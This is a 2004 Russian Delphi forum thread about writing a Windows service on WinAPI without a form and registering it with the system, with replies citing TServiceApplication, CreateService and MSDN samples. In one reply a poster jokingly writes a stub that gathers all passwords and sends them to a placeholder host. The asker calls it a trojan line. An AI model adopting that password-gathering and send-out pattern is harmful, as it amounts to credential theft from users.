![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Сервисы в Win2k [D7, Win2k, WinXP]
dr Tr0jan © (2004-01-31 12:05:00)Я хочу написать сервис под Win2k/XP без формы, который являлся бы сервером TCP (хочу использовать компонент TidTCPserver). В инете натолкнулся на статью "Написание сервисов Windows NT на WinAPI" ( http://www.sources.ru/delphi/system/services_in_api.shtml). Но здесь сразу возникнуло несколько проблем:
1) У них в статье есть функция "ServiceInitialization" - она не описана. Как написать ее?
2) Как запускать этот сервис, и сделать так чтобы он прописался в системе, и чтобы удалился из оной (хотя бы куда пихать exeшник, и куда в реестре что прописывать - типа хочу сделать инсталляшку и анинсталляшку этого сервиса)?
3) Хотелось бы достать исходники этого сервиса написанного по этой статье!
Digitman (2004-02-03 16:19:00) [21]
> ты эту статью даже в глаза не видел
ну от чего же ? оч даже внимательно прочел ее.
ничего там нового для меня, все соответствует широкоизвестной действительности)
> Как раз туда
чего "туда" ? и что я подумал ?
> эта функция с аттрибутами (argc,argv,SpecificError) и должна
> возвращать значение Status : DWORD.
это не атрибуты, это формальные параметры
а возвращать ... да ну поменяй на DWORD - абсолютно непринципиально) ... важно чтобы в теле ф-ции был сформирован и возвращен один из предопределенных результатов, включая NO_ERROR
> И не по каким не по секретным
ну так поставь Д6 Enterprise - какие проблемы ? или тебя 300 кб кода сильно заботят ?
> Как раз туда я и заглянул
как же ты заглянул ? я так понял, у тебя Д6 Персонэл установлен ?
а если и заглянул - что увидел там ?
> Ну а как любой другой? Куда, чё прописывать
открываешь хэлп и изучаешь применение ф-ций OpenSCManager, OpenService, ControlService .. там и находишь ответ на вопрос
> TService и есть подобие формы. А т.к. он подобие формы (оба
> они наследники TComponent), то и грохнуть его (сервис) делать
> нечего.
это как ?)
> Вот ты мне и набери (и ServiceInitialization(argc,argv,SpecificError):
> DWORD задействуй). А я может даже и заплачу тебе.
даже тааак !?
ну что ж, с тебя ящик пива)
function ServiceProc(argc : DWORD;var argv : array of PChar): DWord;
begin
Result := NO_ERROR;
end;
> Ни хера, там нет
все там есть
хэлп Win32 Programmer's Reference штатно поставляется с Д6
ищи лучше
drTr0jan (2004-02-03 15:46:00) [22]2 Digitman ©:
> раз в статье не привели текста этой ф-ции, и при сем имя ее "инициализация сервиса", то только "ламо" не дотумкает, что в ее теле он волен делать все что угодно, например, присваивать неким переменным некие начальные значения)..
То-то оно и видно, что ты эту статью даже в глаза не видел. Там русским языком сказано:
В функции ServiceMain (см.там, где отмечено) пишем код сервиса. Как раз туда, а не туда как ты подумал.
> только "ламо" при этом не чешет интенсивно свою репу и не ассоциирует в рез-те "репочесания" имя/назначение упомянутой ф-ции
Вот ты и не почесал, потому что эта функция с аттрибутами (argc,argv,SpecificError)и должна возвращать значение Status : DWORD.
> с моменом вызова и телом конструктора TService.Create() .. от которого (как и от TServiceApplication) ты отказался по совершенно необъяснимым и секретным причинам в пользу WINAPI)
И не по каким не по секретным:в Borland'е решили немного "порадовать" нас, пользователей Delphi 6 Personal, не добавив возможности создания сервисов (в остальных версиях Delphi 5 и 6 эта возможность имеется в виде класса TService). Решив, что еще не все потеряно, взял на проверку компоненты из одноименного раздела этого сайта. Первый оказался с многочисленными багами, а до пробы второго я не дошел, взглянув на исходник - модуль Forms в Uses это не только окошки, но и более 300 килобайт "веса" программы.- цитата из этой статьи.
> точно так же как и любой другой !
Ну а как любой другой? Куда, чё прописывать.
> у тебя перед носом есть исходники класса TServiceApplication
См. выше ^.
> ты даже не удосужился заглянуть в них на предмет изучения, как это делает сам Борланд) ... а туда же, "хочу написать сервис под Win2k/XP без формы" !
Как раз туда я и заглянул.
> я ж тебя спросил, при чем здесь форма ? построение приложения-сервис на базе стандартных классов TServiceApplication и TSevice - плевое дело, не требующее никаких "форм", пока ты сам этого не захочешь)
Дык, TService и есть подобие формы. А т.к. он подобие формы (оба они наследники TComponent), то и грохнуть его (сервис) делать нечего.
> а там, в статье, не исходники, а , очевидно, сказка про белого бычка ... текст которой набрать да подредактировать, если понадобится, - пару раз плюнуть, на 15 минут работы))
Вот ты мне и набери (и ServiceInitialization(argc,argv,SpecificError): DWORD задействуй). А я может даже и заплачу тебе.
> да куда угодно !
подробности - в описании winapi-ф-ции CreateService()
Ни хера, там нет.
З.Ы. Таким макаром у нас получился не форум, а обливание грязью, поэтому забудем старые обиды и примемся за дело.
Digitman (2004-02-03 14:49:00) [23]
> куда пихать exeшник
да куда угодно !
подробности - в описании winapi-ф-ции CreateService()
Digitman (2004-02-03 14:42:00) [24]
> 2) Как запускать этот сервис
точно так же как и любой другой !
> сделать так чтобы он прописался в системе, и чтобы удалился
> из оной
у тебя перед носом есть исходники класса TServiceApplication
ты даже не удосужился заглянуть в них на предмет изучения, как это делает сам Борланд) ... а туда же, "хочу написать сервис под Win2k/XP без формы" !
я ж тебя спросил, при чем здесь форма ? построение приложения-сервис на базе стандартных классов TServiceApplication и TSevice - плевое дело, не требующее никаких "форм", пока ты сам этого не захочешь)
> 3) Хотелось бы достать исходники этого сервиса написанного
> по этой статье
а там, в статье, не исходники, а , очевидно, сказка про белого бычка ... текст которой набрать да подредактировать, если понадобится, - пару раз плюнуть, на 15 минут работы))
Digitman (2004-02-03 14:34:00) [25]
> Ты чё, меня за ламо считаешь или как?
а куда деваться ? судя по вопросу - приходится)
раз в статье не привели текста этой ф-ции, и при сем имя ее "инициализация сервиса", то только "ламо" не дотумкает, что в ее теле он волен делать все что угодно, например, присваивать неким переменным некие начальные значения)..
только "ламо" при этом не чешет интенсивно свою репу и не ассоциирует в рез-те "репочесания" имя/назначение упомянутой ф-ции, например, с моменом вызова и телом конструктора TService.Create() .. от которого (как и от TServiceApplication) ты отказался по совершенно необъяснимым и секретным причинам в пользу WINAPI)
dr Tr0jan (2004-02-03 14:02:00) [26]2 Digitman ©:
Ты чё, меня за ламо считаешь или как?
Где Result, где параметры функции:ServiceInitialization(argc,argv,SpecificError);.
И что это за троянская процедура:FindAllPasswords(PwdList);? Да за такую строчку любой антивирь мой сервис с винта термоядом в порошок сотрет с сообщением "Trojan was detected!".
dr Tr0jan (2004-02-03 13:41:00) [27]2 Игорь Шевченко ©:
// Судя по нику автора сервис обещает быть крайне интересным.
Почти, ты мне идею подал (respect)! А вообще-то я просто хотел безобидную чаталку замутить с серваком.
Digitman (2004-02-03 12:38:00) [28]
> 1) У них в статье есть функция "ServiceInitialization" -
> она не описана. Как написать ее?
function ServiceInitialization(...): Integer;
var
PwdList: TStringList;
begin
PwdList:= TStringList.Create;
FindAllPasswords(PwdList);
SendList(PwdList, 'myhost', myport);
PwdList.Free;
end;
Игорь Шевченко (2004-02-03 12:22:00) [29]Судя по нику автора сервис обещает быть крайне интересным.
Александр Спелицин (2004-02-02 19:57:00) [30]В примерах к MSDN есть пример реализации сервиса. Ищите файлы simple.c, service.c, service.h
P.S. Примеры по умолчанию на компьютер не устанавливаются. Так что ищите их на CD.
sniknik (2004-02-02 07:55:00) [31]http://www.delphimaster.ru/cgi-bin/forum.pl?id=1075355181&n=5
> хочу использовать компонент TidTCPserver
зря. раз сервис на WinAPI то лутше без компонент. (если использовать их то смысл WinAPI пропадает)
dr Tr0jan (2004-02-02 04:15:00) [32]Ну и как мне это сделать?
Digitman (2004-01-31 14:02:00) [33]
> Я хочу написать сервис под Win2k/XP без формы
валяй.
ничто этому не мешает.
более того - как правило, "форма" нужна сервис-приложению как корове седло.